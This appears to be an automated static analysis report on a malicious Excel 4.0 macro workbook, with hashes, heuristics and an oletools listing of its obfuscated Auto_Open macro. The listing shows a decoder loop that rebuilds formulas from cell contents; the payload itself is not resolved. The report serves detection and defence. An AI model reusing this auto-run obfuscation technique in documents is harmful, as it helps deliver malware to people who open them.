Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b462002ce01c030…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:34:40 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 52450f01f0b90c4b579883044af47693 SHA-1: 23d4ab939cb15934f7b5c130a40becdd66059f41 SHA-256: 4b462002ce01c03017962bee7e2fc37b3b4d0e876edade1d81d1b9ca4b47487d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known technique for executing malicious code upon opening the document. The critical heuristic firings indicate the presence of dangerous formula APIs within the Auto_Open macro, suggesting it's designed to run arbitrary commands. No specific family could be identified, but the technique is common for initial execution.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6616 bytes
SHA-256: ee46932248b8068f99b5c54dd07fa75a044f96b02bd95f3432d330e7d0723604
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  iOFZwNUGM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B175 
' 0018     27 LABEL : Cell Value, String Constant - DffuGyWtyPnl len=0 
' 0018     26 LABEL : Cell Value, String Constant - dGhJlcslGqK len=0 
' 0018     21 LABEL : Cell Value, String Constant - EHnrKI len=0 
' 0018     21 LABEL : Cell Value, String Constant - EtCnMH len=0 
' 0018     26 LABEL : Cell Value, String Constant - KRAcHyZunPC len=0 
' 0018     26 LABEL : Cell Value, String Constant - NUlWXxpGCxJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - ojAcoPnL len=0 
' 0018     24 LABEL : Cell Value, String Constant - pSWGECTsR len=0 
' 0018     26 LABEL : Cell Value, String Constant - QsgdzLTIuzv len=0 
' 0018     25 LABEL : Cell Value, String Constant - rMKunCNBOE len=0 
' 0018     26 LABEL : Cell Value, String Constant - sJpyhzrDWBm len=0 
' 0018     23 LABEL : Cell Value, String Constant - stArWsSX len=0 
' 0018     24 LABEL : Cell Value, String Constant - TanUdbeFS len=0 
' 0018     22 LABEL : Cell Value, String Constant - tlTjRcK len=0 
' 0018     23 LABEL : Cell Value, String Constant - VexGCevn len=0 
' 0018     20 LABEL : Cell Value, String Constant - VidLE len=0 
' 0018     20 LABEL : Cell Value, String Constant - WAKlx len=0 
' 0018     21 LABEL : Cell Value, String Constant - xZuryo len=0 
' 0018     20 LABEL : Cell Value, String Constant - YbSen len=0 
' 0018     22 LABEL : Cell Value, String Constant - zgJkBiI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  iOFZwNUGM,B75,"SET.NAME("WAKlx",VALUE("0"))",""
'  iOFZwNUGM,B80,"SET.NAME("rMKunCNBOE",WAKlx)",""
'  iOFZwNUGM,B85,"SET.NAME("pSWGECTsR",WAKlx)",""
'  iOFZwNUGM,B89,"SET.NAME("DffuGyWtyPnl",COUNTA(xZuryo))",""
'  iOFZwNUGM,B93,"SET.NAME("TanUdbeFS",COUNTA(YbSen))",""
'  iOFZwNUGM,B96,[],""
'  iOFZwNUGM,B101,"SET.NAME("QsgdzLTIuzv","")",""
'  iOFZwNUGM,B105,"rMKunCNBOE",""
'  iOFZwNUGM,B109,"SET.NAME("KRAcHyZunPC",HLOOKUP("*",xZuryo,rMKunCNBOE,FALSE))",""
'  iOFZwNUGM,B111,"zgJkBiI",""
'  iOFZwNUGM,B114,"SET.NAME("NUlWXxpGCxJ",WAKlx)",""
'  iOFZwNUGM,B119,[],""
'  iOFZwNUGM,B123,"NUlWXxpGCxJ",""
'  iOFZwNUGM,B126,"ojAcoPnL",""
'  iOFZwNUGM,B130,"stArWsSX",""
'  iOFZwNUGM,B134,"EHnrKI",""
'  iOFZwNUGM,B139,"SET.NAME("dGhJlcslGqK",VALUE(HLOOKUP("*",YbSen,EHnrKI,FALSE)))",""
'  iOFZwNUGM,B142,"VidLE",""
'  iOFZwNUGM,B145,"QsgdzLTIuzv",""
'  iOFZwNUGM,B150,"pSWGECTsR",""
'  iOFZwNUGM,B153,NEXT(),""
'  iOFZwNUGM,B156,"tlTjRcK",""
'  iOFZwNUGM,B158,"SET.NAME("f",INT(T(FORMULA(T(QsgdzLTIuzv)&"",""&T(tlTjRcK)))))",""
'  iOFZwNUGM,B162,"VexGCevn",""
'  iOFZwNUGM,B167,NEXT(),""
'  iOFZwNUGM,B172,RETURN(),""
'  iOFZwNUGM,B198,"SET.NAME("sJpyhzrDWBm",B75)",""
'  iOFZwNUGM,B203,"xZuryo",""
'  iOFZwNUGM,B205,"SET.NAME("YbSen",R72C12)",""
'  iOFZwNUGM,B207,"SET.NAME("VexGCevn",213)",""
'  iOFZwNUGM,B209,"SET.NAME("EtCnMH",2)",""
'  iOFZwNUGM,B212,sJpyhzrDWBm(),""
'  iOFZwNUGM,B213,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.